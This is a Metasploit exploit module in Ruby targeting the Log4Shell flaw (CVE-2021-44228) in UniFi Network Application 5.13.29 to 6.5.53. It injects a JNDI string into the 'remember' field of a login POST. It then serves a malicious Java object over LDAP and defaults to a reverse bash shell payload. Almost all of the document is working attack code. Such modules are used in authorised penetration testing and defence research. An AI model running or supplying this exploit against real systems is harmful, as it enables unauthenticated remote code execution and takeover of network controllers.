UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Log4Shell
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(_info = {})
    super(
      'Name' => 'UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)',
      'Description' => %q{
        The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell
        vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the
        /api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java
        object. This results in OS command execution in the context of the server application.

        This module will start an LDAP server that the target will need to connect to.
      },
      'Author' => [
        'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
        'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
        'Nicholas Anastasi' # Unifi research
      ],
      'References' => [
        [ 'CVE', '2021-44228' ],
        [ 'URL', 'https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi' ],
        [ 'URL', 'https://github.com/puzzlepeaches/Log4jUnifi' ],
        [ 'URL', 'https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1' ]
      ],
      'DisclosureDate' => '2021-12-09',
      'License' => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 8443,
        'SSL' => true,
        'WfsDelay' => 30
      },
      'DefaultTarget' => 1,
      'Targets' => [
        [
          'Windows', {
            'Platform' => 'win'
          },
        ],
        [
          'Unix', {
            'Platform' => 'unix',
            'Arch' => [ARCH_CMD],
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/reverse_bash'
            }
          },
        ]
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'AKA' => ['Log4Shell', 'LogJam'],
        'Reliability' => [REPEATABLE_SESSION]
      }
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'Base path', '/'])
    ])
  end

  def wait_until(&block)
    datastore['WfsDelay'].times do
      break if block.call

      sleep(1)
    end
  end

  def check
    validate_configuration!
    res = send_request_cgi('uri' => normalize_uri(target_uri, 'status'))
    return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

    server_version = res.get_json_document.dig('meta', 'server_version')
    return Exploit::CheckCode::Safe('The target service does not appear to be running.') unless server_version =~ /(\d+\.)+/

    vprint_status("Detected version: #{server_version}")
    server_version = Rex::Version.new(server_version)
    if server_version < Rex::Version.new('5.13.29')
      return Exploit::CheckCode::Safe('Versions prior to 5.13.29 are not exploitable.')
    elsif server_version > Rex::Version.new('6.5.53')
      return Exploit::CheckCode::Safe('Versions after 6.5.53 are patched and not affected.')
    end

    vprint_status('The target appears to be a vulnerable version, attempting to trigger the vulnerability...')

    start_service
    res = trigger
    return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

    wait_until { @search_received }
    @search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
  ensure
    cleanup_service
  end

  def build_ldap_search_response_payload
    return [] if @search_received

    @search_received = true

    return [] unless @exploiting

    print_good('Delivering the serialized Java object to execute the payload...')
    build_ldap_search_response_payload_inline('BeanFactory')
  end

  def trigger
    @search_received = false
    # HTTP request initiator
    send_request_cgi(
      'uri' => normalize_uri(target_uri, 'api', 'login'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => {
        'username' => rand_text_alphanumeric(8..16), # can not be blank!,
        'password' => rand_text_alphanumeric(8..16), # can not be blank!
        'remember' => log4j_jndi_string,
        'strict' => true
      }.to_json
    )
  end

  def exploit
    validate_configuration!

    @exploiting = true
    start_service
    res = trigger
    fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?

    msg = res.get_json_document.dig('meta', 'msg')
    if res.code == 400 && msg == 'api.err.Invalid' # returned by versions before 5.13.29
      fail_with(Failure::NotVulnerable, 'The target is not vulnerable')
    end

    unless res.code == 400 && msg == 'api.err.InvalidPayload' # returned by versions after 5.13.29 (including patched ones)
      fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way')
    end

    wait_until { @search_received && (!handler_enabled? || session_created?) }
    handler
  end
end